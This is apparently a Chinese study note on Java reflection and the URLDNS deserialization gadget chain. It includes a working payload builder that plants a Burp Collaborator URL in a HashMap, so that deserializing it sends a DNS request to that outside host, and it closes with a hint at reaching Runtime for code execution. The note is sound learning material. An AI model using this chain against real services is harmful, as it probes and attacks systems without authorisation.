java反序列化漏洞3
算是最简单的一条链了吧,学习资料:Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)_哔哩哔哩_bilibili
反射
person.java
package flection;
public class Person {
public String name;
protected String sex;
private int age;
public Person(){
}
public Person(String name , String sex, int age ){
this.name = name;
this.sex = sex;
this.age = age;
}
public String toString(){
return "Psrson{" +
"name" + name + "\'" +
",sex=" + sex +
",age=" + age +
"}";
}
public void action(String act){
System.out.println(act);
}
}
reflectiontest.java
package flection;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class reflectiontest {
public static void main(String[] args) throws Exception{
Person person = new Person();
//整个Class类对象
Class a = person.getClass();
//开始操作Class
//从原型class实例化对象
Constructor person_constructor = a.getConstructor(String.class,String.class,int.class); //选择合适的构造函数,根据参数类型选择构造函数
Person p = (Person) person_constructor.newInstance("xxx","男",222); //实例化一个类对象
System.out.println(p);
//获取类里面的属性
//同时编辑多行 alt+shift+ins
// Field[] personfields = a.getFields(); //只能获得public类型的属性
// for(Field f:personfields){
// System.out.println(f);
// }
Field[] personfields1 = a.getDeclaredFields(); //可以获取public,protected,private属性
for(Field f:personfields1){
System.out.println(f);
}
//获取特定的属性
Field namefield = a.getDeclaredField("sex");
//如果遇到private属性,需要用这个,表示可以修改;而public 和 protected可以直接修改
//namefield.setAccessible(true);
namefield.set(p,"aaa");
System.out.println(p);
//获取方法,调用方法
//得到所有方法
// Method[] personmethods = a.getMethods();
// for(Method i:personmethods){
// System.out.println(i);
// }
//得到特定的方法
Method actionmethod = a.getMethod("action", String.class);
actionmethod.invoke(p,"aaas");
System.out.println(p);
//如果要调用私有方法,那么也是使用declared,还有setaccessible
}
}
URL类开始的链子
跟进URL类–>URL类的hash()方法–>URLStreamHandler类的hashCode()方法
如下,URL类中的hashCode方法
跟进,hashCode方法,到URLStreamHandler类的hashCode()方法,里面有个getHostAddress()方法,可以进行DNS请求
HashMap的put方法开始的链子
put()方法–>HashMap类的put方法中调用了hash()方法->HashMap类的hash()方法中调用了hashCode()方法
但是根据
put的时候不想让他发起请求,将hashCode的值改为1234,然后执行,发现这次不会进行DNS请求了
public static void main(String[] args) throws Exception{
Student person = new Student("lihua",18);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求
URL url = new URL("http://2x0sifnb7lr8z8mnjegue917lyrofd.burpcollaborator.net");
/********反射*******/
//将hashCode的值不改为*1
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
//将hashCode的值改为-1,用到反射
hashmap.put(url,1);
hashcodefield.set(url,-1);
//System.out.println(person);
serialize(hashmap);
}
序列化执行,还是没有DNS请求
然后进行反序列化,发现有DNS请求的
import java.io.*;
public class unserializetest {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
System.out.println("2222");
Object oo = ois.readObject();
return oo;
}
//从a.bin中反序列化进行读取
public static void main(String[] args) throws Exception{
unserialize("a.bin");
}
}
debug一下,发现反序列化的时候,hachCode的值是-1
回过头来分析
我们是想整个ssrf的,而在URL类的hashCode()方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
跟进hashCode(this),
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
其中有个getHostAddress()可以进行DNS请求,这就是我们的目标
即URL.hashCode
,但是正常的执行是不能的
在HashMap类中,有个put方法,跟进
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
再跟进hash(key),发现其参数为Object key
,调用了key.hashCode
方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
到这里,我们就明白了,整一手狸猫换太子,将put()方法里面的参数K key
定为一个URL类对象
,所以执行key.hashCode()
就是执行URL.hashCode()
,即可进行DNS请求
为什么我们要从HashMap类作为入口类呢?
因为HaspMap的readObject()方法,可以传入一个
private void readObject(ObjectInputStream s)
而URL类的readObject()方法中没有可以调用的函数
readObject()方法反序列化的时候自动调用
最后
Class是可以序列化的,可以用来引入不能序列化的类
比如Runtime,弹计算器